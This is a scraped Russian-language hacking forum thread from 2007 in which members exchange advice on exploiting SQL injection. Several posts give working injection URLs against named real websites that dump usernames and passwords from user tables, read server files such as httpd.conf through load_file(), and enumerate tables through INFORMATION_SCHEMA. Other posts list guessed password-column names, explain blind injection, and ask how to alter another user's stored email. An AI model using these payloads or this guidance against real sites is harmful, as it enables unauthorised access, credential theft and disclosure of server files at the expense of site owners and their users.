Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. 5taY3r

    5taY3r Elder - Старейшина

    Joined:
    10 May 2007
    Messages:
    38
    Likes Received:
    35
    Reputations:
    0
    http://www.curufc.com/index.php?pageid=-1+union+select+1,2,AES_DECRYPT(AES_ENCRYPT(concat_ws(0x05,id,username,password),0x72),0x72),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+users+limit+1,1/*
     
  2. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    да скорее всего самописный какойто (оч похоже на base64, но это не просто base64 а что то еще, хотя хз), читай скрипты, ищи где это осуществляется:
    вот тебе httpd.conf
    Code:
    http://www.curufc.com/index.php?pageid=-1+union+select+1,2,AES_DECRYPT(AES_ENCRYPT(load_file('/usr/local/apache/conf/httpd.conf'),0x71),0x71),4,5,6,8,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32/*
    вот тебе index.php
    Code:
    http://www.curufc.com/index.php?pageid=-1+union+select+1,2,AES_DECRYPT(AES_ENCRYPT(load_file('/home/vhost/curufc.com/html/index.php'),0x71),0x71),4,5,6,8,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32/*
    вобщем ковыряй, если это действительно нужно
     
  3. xploited

    xploited New Member

    Joined:
    18 Sep 2007
    Messages:
    2
    Likes Received:
    1
    Reputations:
    0
    помогите доработать скулю, если ето возможно
     
    #323 xploited, 20 Nov 2007
    Last edited: 20 Nov 2007
  4. Twiddle

    Twiddle Elder - Старейшина

    Joined:
    6 Sep 2006
    Messages:
    13
    Likes Received:
    9
    Reputations:
    0
    Так, сюда вроде задают вопросы, вот и я задам, надеюсь не будет оффтопом.
    Нашел сайт. Делал Sql и получал вот такую страницу при запросе =1'
    Скрин номер раз
    Ну в принципе все стандартно, тока почему то на отдельной странице.
    Но если сделать кривой запрос, например: ='-1 то получаем вообще вот такое:
    скрин номер два
    Скажите что за баг, и можно ли его испльзовать? Есть ли полезность?
    Заранее спасибо...
     
  5. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    2Twiddle обычная sql-inj, скорей всего можно исползовать, ну и значит определеннные даннные ты наверное сможешь получить
     
    1 person likes this.
  6. Derec

    Derec Elder - Старейшина

    Joined:
    8 Nov 2007
    Messages:
    74
    Likes Received:
    4
    Reputations:
    0
    Скажите народ, вот если сайтик на одних html' ках построен, то есть без скриптов всяких, получается и зацепится не за что?
     
  7. Roba

    Roba Banned

    Joined:
    24 Oct 2007
    Messages:
    237
    Likes Received:
    299
    Reputations:
    165
    Ситуация такая:
    Имею эстонский сайт с инъектом, кол-во колонок подобрал, есть табличка users. Версия мускула 4.1.22. Трабла в том, что не могу подобрать столбцы в users. Ни один из ниже перечисленных не подходит.
    Code:
    id
    login
    user
    name
    nickname
    nick
    user_name
    password
    pass
    pwd
    pws
    User_password
    host
    
    Прошу, если кто-то сталкивался с такой проблемой подсказать.
    Быть может имена столбцов на национальном языке..
     
  8. big_BRAT

    big_BRAT Elder - Старейшина

    Joined:
    23 Dec 2006
    Messages:
    77
    Likes Received:
    64
    Reputations:
    7
    1. попробуй проверить или есть права на чтение файлов /load_file(_полный_путь_к_файлу_)/ если есть то всё таблицы, колонки можно вытянуть из скриптов.

    2. это способ который помогает мне в 80% - просматриваешь исходники страницы и находишь что-то в этом роде "....<input type="password" name="pwd"/>....", значение параметра name, обычно, совпадает с именем столбца.
     
  9. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    2 Zamut ентих вариантов стандартных, еще целая куча может быть, причем не на национальном языке, дай линк, попробую помочь

    а по-эстонски я знаю:

    login:
    Code:
    kasutaja
    kasutajanimi
    kasutajatunnus
    pass:
    Code:
    parool
    salasõna
     
  10. Roba

    Roba Banned

    Joined:
    24 Oct 2007
    Messages:
    237
    Likes Received:
    299
    Reputations:
    165
    2 big_BRAT спасибо, частично помогло)
    Теперь ситуация такая:
    имею большой ресурс, кол-во столбцов известно, (!ни один из них не выводится на экран!),есть табличка mysql.user в табличке есть столбцы user и password. Есть ли возможность, что-то достать ?
     
    1 person likes this.
  11. v1ru$

    v1ru$ Elder - Старейшина

    Joined:
    17 Mar 2007
    Messages:
    272
    Likes Received:
    196
    Reputations:
    17
    смотри исходник страницы,может там есть,и поставь - перед ?id=-1
     
    1 person likes this.
  12. phol1eadeux

    phol1eadeux Elder - Старейшина

    Joined:
    7 Aug 2007
    Messages:
    108
    Likes Received:
    48
    Reputations:
    -1
    Не забывай про convert(), aes_decrypt(aes_encrypt())
     
  13. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    ога, ещё не забывай мыть руки перед едой
    Скажи мне чем конверт и аес помогут ему в случае отсутствия принтабельных полей?
     
    1 person likes this.
  14. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,174
    Likes Received:
    1,157
    Reputations:
    202
    Народ подскажите мне можно ли при помощи посимвольного перебора подбирать название таблиц и колонок , иначе я непойму нафиг он тогда нужен ?
    юзер() и так же выводиться, нафига в мануалах учат на таком примере. Просьба не предлагать юзать перл скрипты для брута таблиц, один хрен если попадеться таблица с именем qwaszx_admin_zxewq её не сбрутиш. Заранее сенкс 8)
     
  15. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    Это называется blind-inj, т.е. если допустим у тебя нет возможности вывести на страницу (увидеть) данные, то тебе придется использовать такие вот подзапросы и подбирать данные посимвольно, иногда бывает не возможно использовать union select, в таком случае опять же помогает использование подзапросов (таких вот логических операций)
    , также это единственный способ использовать sql инъекцию после order by, да я понимаю долго и неудобно (хотя можно автоматизировать) но иногда (очень часто) это единственный способ получить данные из sql инъекции

    если версия мускула 5 ветки, то можно подбирать имена таблиц и колонок таким способом, но это опять же получение данных с помощью подзапроса из определенного столбца и определенной таблицы
     
    #335 Scipio, 23 Nov 2007
    Last edited: 23 Nov 2007
  16. Mike 007

    Mike 007 Elder - Старейшина

    Joined:
    4 Apr 2007
    Messages:
    58
    Likes Received:
    47
    Reputations:
    -4
    Code:
    http://www.polimernm.ru/partner.php?pid=-1+union+select+1,pass,user(),6,5+from+login/*
    я в этом деле новичок
    для чего выкладывают [email protected] и что оно даёт?
    Что делать дальше? как узнать пароль\хеш админа? или юзверя какого нибудь?
     
  17. 5taY3r

    5taY3r Elder - Старейшина

    Joined:
    10 May 2007
    Messages:
    38
    Likes Received:
    35
    Reputations:
    0
    Дальше надо прочитать хоть пару статей про sql-inj....

    Смотрим таблицы,далее колонки....и будет тебе счастье)
    Code:
    http://www.polimernm.ru/partner.php?pid=-1+union+select+1,TABLE_NAME,3,4,5+from+INFORMATION_SCHEMA.TABLES+limit+1,1/*
     
    #337 5taY3r, 24 Nov 2007
    Last edited: 24 Nov 2007
  18. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    2Extremal в твоем случае нет, это Mysql, при mysql-inj нельзя использовать две конструкции сразу, в MSSQL можно с помощью ;

    2Mike 007 если такой запрос выдаст например [email protected], то сразу открываются большие перспективы при использовании sql-inj
     
  19. fervex

    fervex New Member

    Joined:
    12 Nov 2007
    Messages:
    25
    Likes Received:
    1
    Reputations:
    0
    Здравствуйте! :)

    Есть БД MySQL 5.0.27, уязвимая, кавычки использовать нельзя.
    Вид такой:
    Code:
    .php?id=100+union+select+null,email,null+from+users+where+regID=5/*
    Скажите, как к этой строке корректно добавить update+set или нечто подобное, чтобы у юзера с regID=5 изменить значение поля email?

    Спасибо! :)
     
    #339 fervex, 25 Nov 2007
    Last edited: 25 Nov 2007
  20. ShAnKaR

    ShAnKaR Пачка маргарина

    Joined:
    14 Jul 2005
    Messages:
    904
    Likes Received:
    297
    Reputations:
    553
    в mysql по секурным соображениям нельзя так, вобщем выше написано.
     
    #340 ShAnKaR, 25 Nov 2007
    Last edited: 25 Nov 2007
Thread Status:
Not open for further replies.